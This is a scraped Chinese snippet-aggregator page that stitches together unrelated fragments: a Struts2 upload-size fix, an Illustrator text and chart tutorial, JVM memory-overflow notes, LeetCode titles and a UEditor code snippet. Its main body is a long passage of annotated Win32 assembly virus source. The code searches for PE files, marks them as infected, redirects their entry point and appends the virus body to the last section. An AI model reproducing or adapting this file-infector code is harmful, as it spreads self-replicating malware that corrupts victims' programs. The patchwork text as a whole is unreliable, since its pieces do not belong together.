精华内容
下载资源
问答
  • Ext 上传文件限制 行7 102067

    千次阅读 2011-11-01 13:51:55
    不到一小时搞定,惊喜,到后来一测试,才发现,有时候上传会JS报错行7 102067,一想,肯定是文件路径不对,或者文件名有特殊的字符,找去找来都没有找到问题,最后发现文件过大了,惊喜,百度逛搜Ext 上传文件限制 ...

    最近最一Ext文件上传项目,后台 Struts2.18+ExtJs3 网上收集资料,不到一小时搞定,惊喜,到后来一测试,才发现,有时候上传会JS报错行7 102067,一想,肯定是文件路径不对,或者文件名有特殊的字符,找去找来都没有找到问题,最后发现文件过大了,惊喜,百度逛搜Ext 上传文件限制 过大等等。。。结果都是搭不上什么边的,后来绝望之际,只有自己想办法了,不知道怎么找问题,就想看看到底多大的文件不能上传,后来一测试,大概在2M左右,然后搜索Ext上传文件2M,还是没有什么希望,已经放弃了,灵光一现,是不是Struts里有限制,但仔细一想也不太可能,怎么可能是JS报错呢?不过死马当活马医吧,一收果然Struts里还有上传文件的限制,而且默认好像就是2M,心中窃喜,然后按照网上的方法一设置,心情激动的重启Tomcat,选个大点的文件上传,等啊等啊。。。成功了!那就一个Happy啊。

    解决方法:Struts文件限制与其交互是报错,在Struts的配置文件里加上<constant name="struts.multipart.maxSize" value="200000000"/>

    展开全文
  • 最后一部分,我主要是将文字和图表梳理了一下,以及文字和图表的花样形式,并结合之前的颜色渐变来更好的丰富图表内容。1文字工具单机文本框,输入文字多长就是多长,没有长度的限制。...2字符样式的调整2.1可以调整...

    最后一部分,我主要是将文字和图表梳理了一下,以及文字和图表的花样形式,并结合之前的颜色渐变来更好的丰富图表内容。

    1文字工具

    单机文本框,输入文字多长就是多长,没有长度的限制。

    e127a562c1be57b90561dadd77041b4c.gif

    框选文本框,就会限制文本的内容,以排布文本内容。

    排布在区域之中,在路径上点击,就会将文字随着区域进行排版。

    3d22b6db70e842fe6a1533b684d8fa8c.gif

    路径文字,点击路径就围绕一圈排布。并且文字还可以点击旋转,内部或者外部的排布方式。

    f4c5ad7068bab715abf658697fac172f.gif

    2字符样式的调整

    2.1可以调整字体,自重,行间距,自号等等。

    2f6aea8d37d6c53a51303080faed3de6.png

    01-字符样式面板

    其中页面中多数的调整参数我们都可以自己来试着进行调整,这部分内容很简单的。我说一下基线调整和大小字母和上下标功能。这几个细微功能在我们平时使用过程中总会被忽略。但是一要用到的时候就会找不到。

    2.1.1大小字母

    有时候我们会敲英文进行文字的排版,字母有时候会要由小写修改为大写,或者是由大写修改为小写。这样如果我们重新敲字母,就很特别麻烦和臃肿。所以我们在字符面板中使用大小字母功能。

    bf46d7bdfde0db84c7fef45544f3b084.gif

    2.1.2上下标功能

    有时候我们可能会遇到上标或者小标的情况,比如2的平方,就需要我们正确使用上下标功能,以更合理的清晰我们排版的目的。

    d5bbece8b05da91976479f01d792c1f8.gif

    2.1.3基线功能

    在英文和中文混合时,一般英文的形态要比中文的小,两种字体的下基准线也是不一样的,需要我们手动的将其进行位移,以让基准线保持一致。

    14229dc097b20ade802ea674e184219f.gif

    2.2字体的选择

    我推荐hellofont这个软件,具体安装方法,mac上在浏览器中搜索hellofont,然后按照步骤进行安装。这样可以使用到很多丰富的字体。除此之外,hellofont的字体有免费商用和需要加入会员进行使用的字体,这样对于我们字体的商用选择上也有着不违规遵守版权的方便用途。

    16d9b7f12048995290be117484d7de57.png

    02-hellofont截图

    3段落面板的调整

    除了字符面板进行调整以外,我们也需要进行成段落的文字进行调整,包括连字,串接文本等小技巧。

    3.1连字

    当我们打入英文的时候,有时英文需要连起来,使得文本看的更加整齐。

    我试了好几次我的连字始终都没有出现,但是这个连字功能确实很好用的,呜呜呜。先占个坑,以后有机会解决再说吧。

    deb82d7e1e61b49423b662d4dae5f9e0.png

    3.2标点挤压集

    标点挤压集是为了让标点符号与字符之间更好的协调起来,我们可以在排版的过程中适度的进行调整,使得版面更加美观。

    d2dfec78a7e22f53fd97fcbeab22fd51.png

    04-标点挤压集

    3.3串接文本

    红色加号小标签,就是可以把文字串接起来用的。使用方法是,复制刚才的文本,按住alt键+小红色标签,然后把这个链接层移到刚复制的那个对话框之中,这样就能串接文本了。

    e164868dd74b89e7474ce903cac8dcd8.gif

    串接文本

    4文本和图形的进阶排布方式

    4.1文本绕排

    面对异形的图片进行文本绕排时,我们就可以采用文本绕排的功能。选中文本和图形,然后点击对象-文本绕排,就会发现文字沿着图形的方向进行排布。

    adb10577d368e0a22e6e53a9241fef27.gif

    文本绕排

    在调整文字与图形之间的距离时,我们可以打开对象-文字绕排-距离选项,调整文字与图形之间的距离。

    00347269c6c36a664ab4f6681bea5f5e.gif

    调节间距

    4.2文本变形效果

    效果-变形-然后做出自己想要的效果。自己可以多调整调整参数。

    0d93e3162bf0025767c3ea6d729f8b1a.png

    05-效果参数

    4.3封套扭曲

    文字可以跟随图形的样式进行变形,将图形置于文字上方,选中文字和图形,然后选中对象-封套扭曲-用顶层对象建立。

    1f8f0227167fad20f4a412118b8c52d7.gif

    5图表

    5.1图表制作

    在工具栏中有常用的图形工具,如柱形图工具,堆积柱形图工具,条形图工具,折线图工具,面积图工具,散点图工具,饼图工具和雷达图工具。

    4e7f7b53d98602354e5c41cd9675feb0.png

    06-图表工具

    在使用图表工具时,单机点入所需具体工具,就可以弹出需要输入图表数值的对话框。进行输入数值即可形成图表。

    3f40f69a090db74d07debafca6046054.png

    07-输入数据

    我们也可以导入图表进行图标的绘制,倒入图表ai是不能直接识别excel格式的,需要将excel表格转换成文本文档才能进行导入。

    5.2图表颜色

    批量调整颜色可以选择直接选择工具下的批组选择工具,点击两下就是选择所有相同颜色的组块,然后进行选择颜色的修改。

    ffb221d2cace1d78f9330df42ffc3146.png

    08-批量调整颜色

    5.3图表类型

    我们还可以对图表进行更加细致的编辑,选中图表,然后右键点击选择-图表类型,就会弹出图表类型的对话框,我们就可以对图表进行更加细致的参数编辑。

    663bfe9926bfb894a8f052390fcbba14.png

    09-图表类型

    5.4图表设计样式

    我们可以自主的进行更改图表的设计样式,设计好一组图表样式以后,我们可以选择对象-图表-设计,点击新建设计就可以增加新的设计样式。我们也可以批量选中同一颜色图表后,进行吸管工具颜色吸取,然后进行颜色的编辑。

    e7c1d3143f91cf67726a07255a7d283b.png

    10-新增样式

    6总结

    这部分内容我终于是梳理完了,咱们下面的实际演练继续喔。

    展开全文
  • 堆内存用来存储对象实例,只要不停的创建对象,并且保证GC Roots和对象之间有可达路径避免垃圾回收,那么在对象数量超过最大堆的大小限制后很快就能出现这个异常。 2、方法区和元空间溢出 方法区和堆一样,是线程...

    1、堆内存溢出

    堆内存用来存储对象实例,只要不停的创建对象,并且保证GC Roots和对象之间有可达路径避免垃圾回收,那么在对象数量超过最大堆的大小限制后很快就能出现这个异常。

    2、方法区和元空间溢出

    方法区和堆一样,是线程共享的区域,包含class文件信息、运行时常量池、常量池。不一定非要是class文件中的常量池中的内容才能进入运行时常量池,运行期间也可以将新的常量放入池中,比如String的intern()方法。

    intern()本身是一个native方法,它的作用是:如果字符串常量池中已经包含一个等 于此String对象的字符串,则返回代表池中这个字符串的String对象;否则,将此String对象包含的字符串添加到常量池中,并且返回String对象的引用。

    而在1.7版本之后,字符串常量池已经转移到堆区,所以会报出堆内存溢出的错误,如果1.7之前版本的话会看见PermGen space的报错。

    3、直接内存溢出

    4、栈内存溢出

    在java虚拟机规范中,对虚拟机栈定义了两种异常:

    • 如果线程请求的栈深度大于虚拟机所允许的深度,将抛出StackOverFlowError
    • 如果虚拟机可以动态扩展,并且扩展时无法申请到足够的内存,抛出OutOfMemoryError。

    测试发现,单线程下无论怎么设置参数都是StackOverflow异常。
    把代码修改为多线程,调整-Xss2m,因为为每个线程分配的内存越大,栈空间可容纳的线程数量越少,越容易产生内存溢出。反之,如果内存不够的情况,可以调小该参数来达到支撑更多线程的目的。

    展开全文
  • 1697. 检查边长度限制路径是否存在 1737. 满足三条件之一需改变的最少字符数 困难难度题目合集 困难难度题目从类型上说多是: 图 设计题 游戏场景题目 中等题目的 follow up 从解法上来说,多是: 图...
  • 路径有一个缺省的字符大小限制MAX_PATH。这个限制取决于FindFirst函数怎么分析路径。 ; 一个应用程序可以超过这个限制并可以通过调用宽(W)版本的FindFirstFile函数并预先考虑 ; "//?/"来传给超过MAX_PATH的路径。...

    路径有一个缺省的字符大小限制MAX_PATH。这个限制取决于FindFirst函数怎么分析路径。

     ; 一个应用程序可以超过这个限制并可以通过调用宽(W)版本的FindFirstFile函数并预先考虑

     ; "//?/"来传给超过MAX_PATH的路径。"//?/"告诉了函数关闭路径解析;它使得路径长于MAX_PATH

     ; 可以被FindFirstFileW函数使用。这个还可以对UNC名有效。"//?/"被作为路径的一部分

     ; 忽略掉了。例如"//?/C:/myworld/private"被看成"C:/myworld/private",

     ; "//?/UNC/bill_g_1/hotstuff/coolapps"被看成"//bill_g_1/hotstuff/coolapps"

     ;                                         

     ; ?lpFindFileData: 指向于WIN32_FIND_DATA 结构来接受关于找到的文件或目录。这个

     ;   结构可以在随后的调用FindNextFile FindClose 函数中引用文件或子目录。

     ;                                                               

     ; 返回值                                                  

     ; =====                                    

     ;                                       

     ; ?如果函数成功调用了返回值是一个搜索句柄在随后的调用FindNextFile FindClose

     ;   时用到。

     ;                                                                        

     ; ?如果函数失败了返回值是INVALID_HANDLE_VALUE。为了获得详细的错误信息调用

     ;   函数。

     ;                                                                         

     ; 所以,现在你知道了FindFirstFile函数的所有参数了。而且,现在你知道了下面代码块

     ; 的最后一行了:)

     ;---------------------------------------------------------------------------

     

    __1:    push    dword ptr [ebp+OldEIP]          ; 保存 OldEIP ModBase,

            push    dword ptr [ebp+ModBase]         ; 感染时改变

     

            call    Infection                       ; 感染找到的文件

     

            pop     dword ptr [ebp+ModBase]         ; 恢复它们

            pop     dword ptr [ebp+OldEIP]

     

            inc     byte ptr [ebp+infections]       ; 增加计数器

            cmp     byte ptr [ebp+infections],05h   ; 超过限制啦?

            jz      FailInfect                      ; 该死...

     

     ;---------------------------------------------------------------------------

     ; 我们所做的第一件事是保存了一些必须的变量的内容它们在后面我们返回控制权给主体的

     ; 时候用到,但是这些变量在感染文件的时候改变了是很痛苦的。我们调用感染例程:它仅

     ; 需要WFD信息,所以我们不必给它传参数了。在感染完相关的文件后,我们把值再改回来。

     ; 在做完那个以后,我们增加感染计数器,并检查我们是否已经感染了5个文件了(这个病毒

     ; 的感染限制)。如果我们已经做完了那些事情,病毒从感染函数中退出。

     ;---------------------------------------------------------------------------

     

    __2:    lea     edi,[ebp+WFD_szFileName]        ; 指向文件名的指针

            mov     ecx,MAX_PATH                    ; ECX = 260

            xor     al,al                           ; AL = 00

            rep     stosb                           ; 清除旧的文件名变量

     

            lea     eax,[ebp+offset WIN32_FIND_DATA] ; 指向 WFD的指针

            push    eax                             ; 把它压栈

            push    dword ptr [ebp+SearchHandle]    ; Push Search Handle

            call    [ebp+_FindNextFileA]            ; 寻找另外一个文件

     

            or      eax,eax                         ; 失败?

            jnz     __1                             ; 没有, 感染另外一个

     

    CloseSearchHandle:

            push    dword ptr [ebp+SearchHandle]    ; Push search handle

            call    [ebp+_FindClose]                ; 关闭它

     

    FailInfect:

            ret

     

     ;---------------------------------------------------------------------------

     ; 代码块的开始部分做一个简单的事情:它抹掉在WFD结构(校验文件名数据)里的数据。

     ; 这样做是为了在寻找另外一个文件的时候避免出问题。我们下一步要做的是调用

     ; FindNextFile这个API函数。下面是这个API的描述:

     ;                                            

     ; FindNextFile 函数继续以前调用的FindFirstFile函数来继续搜索一个文件

     ;                                                                         

     ; BOOL FindNextFile(                                                      

     ;   HANDLE hFindFile,   // 要搜索的句柄                                

     ;   LPWIN32_FIND_DATA lpFindFileData    // 指向保存找到文件的数据的结构

     ;  );                                                                     

     ;                                                                         

     ; 参数                                                               

     ; ====                                                              

     ;                                                                         

     ; ?hFindfile: 识别由先前的调用FindFirstFile函数返回的搜索句柄。

     ;                                                                          

     ; ?lpFindFileData: 指向一个WIN32_FIND_DATA 结构用来接受关于找到的文件或子目录

     ;   的信息。这个结构可以在随后的调用FindNextFile时引用来寻找文件或目录。

     ;                                                                         

     ; 返回值                                                          

     ; ======                                                          

     ;                                                                         

     ; ?如果函数调用成功,返回值是非零值。                

     ;                                                                          

     ; ?如果函数调用成功,返回值是0。为了获得详细的错误信息,调用GetLastError

     ;                                                       

     ; ?如果没有匹配的文件,GetLastError函数会返回ERROR_NO_MORE_FILES

     ;                                                                       

     ; 如果FindNextFile返回错误,或者如果病毒已经到达了可能感染的最大文件数,我们到了

     ; 这个例程的最后一块。它由通过FindClose这个API来关闭搜索句柄组成。照常,下面是

     ; 这个API的描述:

     ;                                                                         

     ; FindClose函数关闭指定的搜索句柄。FindFirstFile FindNextFile 函数使用这个

     ; 句柄来用匹配给定的名字来定位文件。

     ;                                                                         

     ; BOOL FindClose(                                                         

     ;   HANDLE hFindFile    // 文件搜索句柄

     ;  );                                                          

     ;                                               

     ;                                                

     ; 参数

     ; ====

     ;                                                     

     ; ?hFindfile: 识别搜索句柄。这个句柄必须是由FindFirstFile函数已经打开的。

     ;                                                              

     ; 返回值

     ; ======

     ;                                           

     ; ?如果函数调用成功,返回值是非0值。

     ;                                                        

     ; ?如果函数调用失败,返回值是0。为了获得详细的错误信息,调用GetLastError

     ;                                                                          ;

     ;---------------------------------------------------------------------------

     

    Infection:

            lea     esi,[ebp+WFD_szFileName]        ; 获得要感染的文件名

            push    80h

            push    esi

            call    [ebp+_SetFileAttributesA]       ; 清除它的属性

     

            call    OpenFile                        ; 打开它

     

            inc     eax                             ; 如果 EAX = -1, 就有一个错误

            jz      CantOpen                        

            dec     eax

     

            mov     dword ptr [ebp+FileHandle],eax

     

     ;---------------------------------------------------------------------------

     ; 我们首先做的是清除文件的属性,并把它们设置为"正常文件"。这是通过SetFileAttributes

     ; 这个API来实现的。下面给出这个API的简要介绍:

     ;                                                                

     ; SetFileAttributes 函数 设置一个文件的属性。       

     ;                                                                        

     ; BOOL SetFileAttributes(                                          

     ;   LPCTSTR lpFileName, // 文件名的地址

     ;   DWORD dwFileAttributes      // 要设置的属性的地址

     ;  );                                                         

     ;                                                      

     ; 参数

     ; ====

     ;                                                                   

     ; ?lpFileName: 指向一个保存要修改属性的文件的文件名字符串。

     ;                                                                         

     ; ?dwFileAttributes: 指定要设置的文件的属性。这个参数可以为下面的值的组合。然而

     ;   所有的其它的值超越FILE_ATTRIBUTE_NORMAL

     ;                                                                 

     ; 返回值

     ; ======

     ;                                                                  

     ; ?如果函数调用成功,返回值是非0值。

     ;                                                                         

     ; ?如果函数调用失败,返回值是0。为了获得详细的错误信息,调用GetLastError

     ;                                                                         

     ; 在我们设置了新的文件属性之后,我们打开了文件,而且,如果没有任何错误发生,它把

     ; 句柄保存到它的变量中。

     ;---------------------------------------------------------------------------

     

            mov     ecx,dword ptr [ebp+WFD_nFileSizeLow] ; 首先我们用它的正确大小创建映射

            call    CreateMap                    

     

            or      eax,eax

            jz      CloseFile

     

            mov     dword ptr [ebp+MapHandle],eax

     

            mov     ecx,dword ptr [ebp+WFD_nFileSizeLow]

            call    MapFile                         ; 映射它

     

            or      eax,eax

            jz      UnMapFile

     

            mov     dword ptr [ebp+MapAddress],eax

     

     ;---------------------------------------------------------------------------

     ; 首先我们给ECX赋我们打算要映射的文件的大小,然后我们调用我们的函数来映射它。

     ; 我们检查可能的错误,如果没有任何错误,我们继续,否则,我们关闭文件。然后我们

     ; 保存映射句柄,并准备最终利用MapFile函数来映射它。还象以前那样,我们检查错误,

     ; 决定相应的处理。如果所有的都做好了,我们保存映射起作用的地址。

     ;---------------------------------------------------------------------------

     

            mov     esi,[eax+3Ch]

            add     esi,eax

            cmp     dword ptr [esi],"EP"            ; 它是PE?

            jnz     NoInfect

     

            cmp     dword ptr [esi+4Ch],"CTZA"     ; 它被感染了吗?

            jz      NoInfect

     

            push    dword ptr [esi+3Ch]

     

            push    dword ptr [ebp+MapAddress]      ; 关闭所有

            call    [ebp+_UnmapViewOfFile]

     

            push    dword ptr [ebp+MapHandle]

            call    [ebp+_CloseHandle]

     

            pop     ecx

     

     ;---------------------------------------------------------------------------

     ; 当我们在EAX中得到了开始映射的地址我们刷新指向PE(MapAddress+3Ch)的指针 

     ; 然后我们规范化它,所以在ESI中我们将得到指向PE头的指针。总之我们检查它是否OK

     ; 所以我们检查PE签名。在那个检查之后,我们检查文件是否在以前感染过了(我们在PE

     ; 偏移地址4Ch处保存了一个标记,程序从来不会用的),如果它没有,我们继续感染过程。

     ; 我们保存他们,在堆栈中 ,文件对齐(看看PE头那一章)。而且在那之后,我们解除映射,

     ; 并关闭映射句柄。最终我们从堆栈恢复文件对齐(File Alignment),把它存在ECX寄存器中。

     ;---------------------------------------------------------------------------

     

            mov     eax,dword ptr [ebp+WFD_nFileSizeLow] ; 再次映射

            add     eax,virus_size

     

            call    Align

            xchg    ecx,eax

     

            call    CreateMap

            or      eax,eax

            jz      CloseFile

     

            mov     dword ptr [ebp+MapHandle],eax

     

            mov     ecx,dword ptr [ebp+NewSize]

            call    MapFile

     

            or      eax,eax

            jz      UnMapFile

     

            mov     dword ptr [ebp+MapAddress],eax

           

            mov     esi,[eax+3Ch]

            add     esi,eax

     

     ;---------------------------------------------------------------------------

     ; 当我们在ECX(准备'Align'函数,因为它需要在ECX中的对齐因子)中得到了文件对齐,我们

     ; EAX赋打开的文件大小加上病毒大小(EAX是要对齐的数量),然后我们调用'Align'函数,

     ; 它在EAX中返回给我们对齐的数字。例如,如果对齐(Alignment)200h,而且文件大小+

     ; 病毒大小是12345h'Align'函数将会返回给我们的数字将会是12400h。然后我们把对齐数字

     ; 保存到ECX中。我们再次调用CreateMap函数,但是现在我们用对齐后的大小来映射文件。

     ; 在这之后,我们再次使ESI指向PE头。

     ;---------------------------------------------------------------------------

     

            mov     edi,esi                         ; EDI = ESI = Ptr to PE header

     

            movzx   eax,word ptr [edi+06h]          ; AX = n?of sections

            dec     eax                             ; AX--

            imul    eax,eax,28h                     ; EAX = AX*28

            add     esi,eax                         ; Normalize

            add     esi,78h                         ; Ptr to dir table

            mov     edx,[edi+74h]                   ; EDX = n?of dir entries

            shl     edx,3                           ; EDX = EDX*8

            add     esi,edx                         ; ESI = Ptr to last section

     

     ;---------------------------------------------------------------------------

     ; 首先我们也使EDI指向PE头。然后,我们给AX赋节的个数(一个WORD类型的数),并使它

     ; 1。然后我们把AX(n,节数-1)乘以28h(节头的大小),把它再加上PE头的偏移地址。使ESI

     ; 指向目录表,在EDX中得到目录入口点的数目。然后我们把它乘以8,最后把结果(EDX)

     ; 加到ESI,所以ESI将指到最后一节。

     ;---------------------------------------------------------------------------

     

            mov     eax,[edi+28h]                   ; 获得 EP

            mov     dword ptr [ebp+OldEIP],eax      ; 保存它

            mov     eax,[edi+34h]                   ; 获得 imagebase

            mov     dword ptr [ebp+ModBase],eax     ; 保存它

           

            mov     edx,[esi+10h]                   ; EDX = SizeOfRawData

            mov     ebx,edx                         ; EBX = EDX

            add     edx,[esi+14h]                   ; EDX = EDX+PointerToRawData

     

            push    edx                             ; 保存 EDX

     

            mov     eax,ebx                         ; EAX = EBX

            add     eax,[esi+0Ch]                   ; EAX = EAX+VA 地址

                                                    ; EAX = EIP

            mov     [edi+28h],eax                   ; 改变新的 EIP

            mov     dword ptr [ebp+NewEIP],eax      ; 还保存它

     

     ;---------------------------------------------------------------------------

     ; 首先我们给EAX赋我们正在感染的文件的EIP为了后面把旧EIP赋给一个变量将会在

     ; 病毒(你将会看到)的开始用到。我们对基址同样这么做。然后,我们给EDX赋最后一节的

     ; SizeOfRawData赋给EDX,再赋给EDX,然后,我们把EDX加上PointerToRawData(EDX

     ; 将在复制病毒的时候用到所以我们把它保存到堆栈中)。在这之后,我们给EAXSizeOfRawData

     ; 把它加上VA地址 :所以我们在EAX中得到的是主体的新EIP。所以我们把它保存在它的PE

     ; 的域中,并保存在另外一个变量中(看看病毒的开始处)

     ;---------------------------------------------------------------------------

     

            mov     eax,[esi+10h]                   ; EAX = 新的 SizeOfRawData

            add     eax,virus_size                  ; EAX = EAX+VirusSize

            mov     ecx,[edi+3Ch]                   ; ECX = FileAlignment(文件对齐)

            call    Align                           ; 对齐!

     

            mov     [esi+10h],eax                   ; 新的 SizeOfRawData

            mov     [esi+08h],eax                   ; 新的 VirtualSize

     

            pop     edx                             ; EDX = 指向节尾的原始指针

                                                  

     

            mov     eax,[esi+10h]                   ; EAX =  新的 SizeOfRawData

            add     eax,[esi+0Ch]                   ; EAX = EAX+VirtualAddress

            mov     [edi+50h],eax                   ; EAX =  新的 SizeOfImage

     

            or      dword ptr [esi+24h],0A0000020h  ; 设置新的节标志

     

     

     ;---------------------------------------------------------------------------

     ; Ok, 我们做的第一件事是把最后一节的SizeOfRawData装载到EAX然后把病毒的大小

     ; 加上它。在 ECX我们装载FileAlignment我们调用'Align'函数所以在EAX

     ; 我们将得到对齐后的SizeOfRawData+VirusSize

     ; 让我们看看一个小例子:                                     

     ;                                                                         

     ;      SizeOfRawData - 1234h                                              

     ;      VirusSize     -  400h                                               

     ;      FileAlignment -  200h                                              

     ;                                                                         

     ; 所以SizeOfRawData + VirusSize 将为1634在对那个值对齐之后将为1800h。简单?

     ; 所以我们把对齐后的值设为新的SizeOfRawData并作为新的VirtualSize这样做之后我们

     ; 将没有问题了我们计算新的SizeOfImage也就是说新的SizeOfRawDataVirtualAddress

     ; 的和。在计算完这个之后,我们把它保存到PE头的SizeOfImage域中(偏移50h)。然后,

     ; 我们按如下设置节的属性:

     ;                                                                        

     ;      00000020h - 节包含代码                              

     ;      40000000h - 节可读

     ;      80000000h - 节可写               

     ;                                                

     ; 所以,如果我们要应用这三个属性只要把那3个值或(OR)即可,结果将是A0000020h

     ; 所以,我们还要把他和节的当前属性值进行或,这样我们不必删除旧的:只要加上它们。

     ;---------------------------------------------------------------------------

     

            mov     dword ptr [edi+4Ch],"CTZA"      ; 设置感染标志

     

            lea     esi,[ebp+aztec]                 ; ESI = 指向 virus_start 的指针

            xchg    edi,edx                         ; EDI = 指向最后一节结尾的指针

                                                    ;      

            add     edi,dword ptr [ebp+MapAddress]  ; EDI = 规范化后指针

            mov     ecx,virus_size                  ; ECX = 要复制的大小

            rep     movsb                           ; 做它!

     

            jmp     UnMapFile                       ; 解除映射, 关闭, 等等.

     

     ;---------------------------------------------------------------------------

     ; 为了避免重复感染文件我们现在所做的首先是在PE头没有用过地方设置感染的标志(偏移

     ; 4Ch是保留的)。然后,在ESI中放一个指向病毒开始的指针。在我们把EDX的值赋给ESI

     ; (记住:EDX=旧的 SizeOfRawData+PointerToRawData)之后,那就是我们放置病毒代码

     ; RVA。正如我已经说过了,它是一个RVA,这一点你必须知道;)RVA必须转换成VA

     ; 这是通过把RVA加上相对值实现的... 所以,它和开始映射文件的地址(如果你还记得,它是

     ; MapViewOfFile这个API返回的)相关。所以,最后,在EDI中我们得到的是写病毒代码的

     ; VA。在ECX中,我们装入病毒的大小,并复制。所有都做好了!:)现在我们关闭所有...

     ;---------------------------------------------------------------------------

     

    NoInfect:

            dec     byte ptr [ebp+infections]

            mov     ecx,dword ptr [ebp+WFD_nFileSizeLow]

            call    TruncFile

     

     ;---------------------------------------------------------------------------

     ; 在感染的时候,如果有什么错误发生,我们就到了这个地方。我们把感染计数器减1,把文件

     ; 截去感染之前的大小。我希望我们的病毒不会到达这个地方:)

     ;---------------------------------------------------------------------------

     

    UnMapfile:

            push    dword ptr [ebp+MapAddress]      ; 关闭映射的地址

            call    [ebp+_UnmapViewOfFile]

     

    CloseMap:      

            push    dword ptr [ebp+MapHandle]       ; 关闭映射

            call    [ebp+_CloseHandle]

     

    Closefile:

            push    dword ptr [ebp+FileHandle]      ; 关闭文件

            call    [ebp+_CloseHandle]

     

    CantOpen:

            push    dword ptr [ebp+WFD_dwFileAttributes]

            lea     eax,[ebp+WFD_szFileName]        ; 设置原先文件的的属性

            push    eax

            call    [ebp+_SetFileAttributesA]

            ret

     

     ;---------------------------------------------------------------------------

     ; 这块代码集中于关闭在感染的时候打开的所有东西:映射地址,映射自身,文件,随后把

     ; 原先的属性设置回去。

     ; 让我们看看这里用到的API

     ;                                                                         

     ; UnmapViewOfFile 函数从调用进程的地址空间中解除文件的映射。

     ;                                                                         

     ; BOOL UnmapViewOfFile(                                                   

     ;   LPCVOID lpBaseAddress       // 开始映射的地址

     ;  );                                                       

     ;                                                          

     ; 参数                                      

     ; ====                                                              

     ;                                                                          

     ; ?lpBaseAddress: 指向要解除映射的文件的基址。这个值必须是由先前调用MapViewOfFile

     ;   MapViewOfFileEx函数返回的值。

     ;                                                                        

     ; 返回值

     ; =====

     ;                                                                       

     ; ?如果函数调用成功,返回值是非0值,而且所有指定范围内的页将会标志"lazily"

     ;                                                                         

     ; ?如果函数调用失败,返回值是0。为了获得详细的错误信息,调用GetLastError函数。

     ;                                                                         

     ; ---                                                                     

     ;                                                                         

     ; CloseHandle 函数关闭一个打开对象的句柄。

     ;                                                                         

     ; BOOL CloseHandle(                                                       

     ;   HANDLE hObject      // 要关闭对象的句柄

     ;  );                                                                     

     ;                                                                          

     ; 参数

     ; ====

     ;                                                                         

     ; ?hObject: 指一个打开对象的句柄。

     ;                                                                         

     ;  返回值

     ;  ======

     ;                                                                          

     ; ?如果函数调用成功,返回值是非0值。

     ; ?如果函数调用失败,返回值是0。想要获得详细的错误信息,调用GetLastError

     ;

     ;---------------------------------------------------------------------------

     

    GetK32          proc

    _@1:    cmp     word ptr [esi],"ZM"

            jz      WeGotK32

    _@2:    sub     esi,10000h

            loop    _@1

    WeFailed:

            mov     ecx,cs

            xor     cl,cl

            jecxz   WeAreInWNT

            mov     esi,kernel_

            jmp     WeGotK32

    WeAreInWNT:

            mov     esi,kernel_wNT

    WeGotK32:

            xchg    eax,esi

            ret

    GetK32          endp

     

    GetAPIs         proc

    @@1:    push    esi

            push    edi

            call    GetAPI

            pop     edi

            pop     esi

     

            stosd

     

            xchg    edi,esi

     

            xor     al,al

    @@2:    scasb

            jnz     @@2

     

            xchg    edi,esi

     

    @@3:    cmp     byte ptr [esi],0BBh

            jnz     @@1

     

            ret

    GetAPIs         endp

     

    GetAPI          proc

            mov     edx,esi

            mov     edi,esi

     

            xor     al,al

    @_1:    scasb

            jnz     @_1

     

            sub     edi,esi                         ; EDI = API 的名字大小

            mov     ecx,edi

     

            xor     eax,eax

            mov     esi,3Ch

            add     esi,[ebp+kernel]

            lodsw

            add     eax,[ebp+kernel]

     

            mov     esi,[eax+78h]

            add     esi,1Ch

     

            add     esi,[ebp+kernel]

     

            lea     edi,[ebp+AddressTableVA]

           

            lodsd

            add     eax,[ebp+kernel]

            stosd

     

            lodsd

            add     eax,[ebp+kernel]

            push    eax                             ; mov [NameTableVA],eax   =)

            stosd

     

            lodsd

            add     eax,[ebp+kernel]

            stosd

           

            pop     esi

     

            xor     ebx,ebx

     

    @_3:    lodsd

            push    esi     

            add     eax,[ebp+kernel]

            mov     esi,eax

            mov     edi,edx

            push    ecx

            cld

            rep     cmpsb

            pop     ecx

            jz      @_4

            pop     esi

            inc     ebx

            jmp     @_3             

     

    @_4:

            pop     esi

            xchg    eax,ebx

            shl     eax,1

            add     eax,dword ptr [ebp+OrdinalTableVA]

            xor     esi,esi

            xchg    eax,esi

            lodsw

            shl     eax,2

            add     eax,dword ptr [ebp+AddressTableVA]

            mov     esi,eax

            lodsd

            add     eax,[ebp+kernel]

            ret

    GetAPI          endp

     

     ;---------------------------------------------------------------------------

     ; 上面所有的代码以前已经见过了,这里是有了一点点优化,所以你可以看看你自己用其它

     ; 方法该怎么做。

     ;---------------------------------------------------------------------------

     

     ; 输入:

     ;      EAX - 对齐的值

     ;      ECX - 对齐因子

     ; 输出:

     ;      EAX - 对齐值

     

    Align           proc

            push    edx

            xor     edx,edx

            push    eax

            div     ecx

            pop     eax

            sub     ecx,edx

            add     eax,ecx

            pop     edx

            ret

    Align           endp

     

     ;---------------------------------------------------------------------------

     ; 这个函数执行在PE感染中非常重要的一件事情:把数字和指定的因子对齐。如果你不是

     ; 一个d0rk,你就不必问我它是怎么工作的了。( Fuck,你到底学了没有?)

     ;---------------------------------------------------------------------------

     ; 输入:

     ;      ECX - 要截的文件

     ; 输出:

     ;      .

     

    TruncFile       proc

            xor     eax,eax

            push    eax

            push    eax

            push    ecx

            push    dword ptr [ebp+FileHandle]

            call    [ebp+_SetFilePointer]

     

            push    dword ptr [ebp+FileHandle]

            call    [ebp+_SetEndOfFile]

            ret

    TruncFile       endp

     

     ;---------------------------------------------------------------------------

     ; SetFilePointer 使文件指针指向一个打开的文件。

     ;                                                                         

     ; DWORD SetFilePointer(                                                    

     ;   HANDLE hFile,       // 文件的句柄

     ;   LONG lDistanceToMove,       // 需要移动文件指针的字节数

     ;   PLONG lpDistanceToMoveHigh, // 要移动距离的高位字

     ;                              

     ;   DWORD dwMoveMethod  // 怎么移

    展开全文
  • Q1 : 邻接矩阵只能限制边数 怎么控制路径长度呢? A : 把路径长度转换为多条边 每个点虚拟为五个 Q2 : 怎么统计长度小于N的点的和呢? A :虚拟一个空字符 他与任意真实字符距离为1 这样我们可以自然的构造一些...
  • // 指定弹出层中页面的路径,这里只能支持页面,路径参考常见问题 2 iframeUrl: '/customizeDialogPage.html', // 需要指定当前的编辑器实例 editor: editor, // 指定 dialog 的名字 name: uiName, // dialog...
  • 有时候数据文件并不一定是你写的,有可能是你copy的~那么这个时候会出现有些字符你不想要,或者有些字符你想加上去。就比如这个数据文件中staturl 这个属性,路径并不符合我的要求,我需要把 ../public...
  • 7、文件上传(传参时可设定上传路径、上传格式、文件大小限制) 8、在指定的字符串列表中检索出拼音索引字符串 9、IP判断 10、读取TXT文本返回字符流 11、便历文件夹获取大小 12、递归删除目录下的所有文件 13、检查...
